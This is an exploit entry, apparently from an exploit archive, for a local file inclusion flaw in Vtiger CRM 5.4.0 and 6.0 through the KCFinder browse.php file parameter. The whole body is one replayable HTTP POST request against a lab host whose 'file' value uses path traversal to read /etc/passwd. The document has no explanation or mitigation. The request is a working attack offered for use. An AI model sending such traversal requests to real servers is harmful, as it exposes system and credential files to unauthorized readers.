Vtiger CRM 5.4.0, 6.0 RC, 6.0.0 GA (browse.php, file param) - Local File Inclusion

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1 Host: 192.168.56.103 Proxy-Connection: keep-alive Content-Length: 58 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.56.103 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 Content-Type: application/x-www-form-urlencoded DNT: 1 Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php Accept-Encoding: xxxx,xxxxxxx,sdch Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4 Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off dir=files&file=/../../../../../../../../../../../etc/passwd